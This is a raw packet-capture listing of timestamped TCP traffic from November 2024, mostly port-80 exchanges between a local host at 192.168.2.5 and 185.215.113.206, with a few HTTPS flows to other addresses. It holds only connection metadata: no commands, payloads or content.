Nov 23, 2024 01:14:33.430541039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.430567026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.430593967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.430608034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.431534052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.431607008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.431629896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.431674957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.432483912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.432532072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.432575941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.432647943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.433448076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.433499098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.433541059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.433579922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.434423923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.434524059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.434556961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.434571981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.435391903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.435461998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.435467958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.435509920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.436381102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.436435938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.436476946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.436547041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.437330008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.437385082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.437433958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.437478065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.438298941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.438324928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.438345909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.438365936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.439274073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.439347982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.439376116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.439416885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.440248013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.440321922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.440368891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.440412045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.441219091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.441273928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.441323996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.441376925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.442161083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.442222118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.442281008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.442384005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.443149090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.443212032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.443245888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.443284988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.444098949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.444143057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.444232941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.444282055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.445074081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.445153952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.445184946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.445225954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.446044922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.446136951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.446183920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.447016001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.447079897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.447113037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.447154045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.448251009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.448299885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.448313951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.448343992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.448991060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.449050903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.553817034 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.557595015 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.557602882 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.558933020 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.559331894 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.559426069 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.559592009 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.599596024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.599637985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.599694014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.599766970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.600080967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.600132942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.600136995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.600174904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.600801945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.600857973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.600922108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.600970030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.601753950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.601875067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.601907969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.601907969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.602737904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.602786064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.602849007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.602891922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.603341103 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.603728056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.603777885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.603848934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.603902102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.604676008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.604737997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.604847908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.604948044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.605665922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.605726957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.605776072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.605822086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.606611013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.606658936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.606723070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.606767893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.607579947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.607681990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.607697010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.607724905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.608561039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.608604908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.608663082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.608705997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.609539032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.609605074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.609668970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.609714985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.610479116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.610536098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.610599041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.610682011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.611468077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.611519098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.611598015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.611717939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.612421989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.612520933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.612580061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.612673044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.613390923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.613440990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.613482952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.613605022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.614360094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.614409924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.614496946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.614645004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.615350962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.615401983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.615447044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.615494013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.616290092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.616384983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.616426945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.616441011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.617263079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.617408991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.617459059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.618235111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.618282080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.618349075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.618567944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.619204044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.619257927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.619354963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.619458914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.620163918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.620223999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.620301008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.620348930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.621146917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.621212959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.621277094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.621370077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.622123957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.622190952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.622232914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.622389078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.623080969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.623147011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.623233080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.623275995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.624034882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.624097109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.624160051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.624254942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.625016928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.625066996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.625129938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.625195980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.625983953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.626032114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.626092911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.626137972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.626950026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.627015114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.627077103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.627165079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.627918005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.627974033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.628035069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.628165007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.628890991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.628943920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.629012108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.629056931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.629878998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.629933119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.629996061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.630065918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.630842924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.630897999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.631001949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.631047964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.631802082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.631908894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.631937981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.631948948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.632771969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.632818937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.632896900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.632945061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.633732080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.633799076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.633867025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.633908033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.634708881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.634754896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.634818077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.634861946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.635688066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.635735035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.635797024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.635839939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.636661053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.636712074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.636713982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.636754036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.637626886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.637682915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.637746096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.637784958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.638617039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.638679981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.638700962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.638803959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.639542103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.639611006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.639671087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.639712095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.640547991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.640688896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.640752077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.640796900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.641484022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.641536951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.641601086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.641648054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.642452002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.642508984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.642574072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.642623901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.643424034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.643479109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.643536091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.643619061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.644381046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.644431114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.644507885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.644638062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.645395041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.645431042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.645450115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.645484924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.646346092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.646450996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.646454096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.646500111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.647305965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.647428989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.647432089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.647551060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.648288012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.648344994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.648406982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.648453951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.649236917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.649288893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.649350882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.649404049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.650185108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.650248051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.684499979 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:33.684698105 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:33.684747934 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:33.689390898 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:33.689407110 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:33.800792933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.800851107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.800932884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.801080942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.801125050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.801141977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.801181078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.802056074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.802107096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.802129030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.802165985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.803031921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.803102970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.803133965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.803200960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.804014921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.804061890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.804130077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.804168940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.804971933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.805022955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.805128098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.805176973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.805972099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.806025028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.806088924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.806128025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.806900024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.806943893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.806946039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.806982994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.807887077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.807929039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.807955027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.808005095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.808830023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.808877945 CET	49760	80	192.168.2.5	185.215.113.206
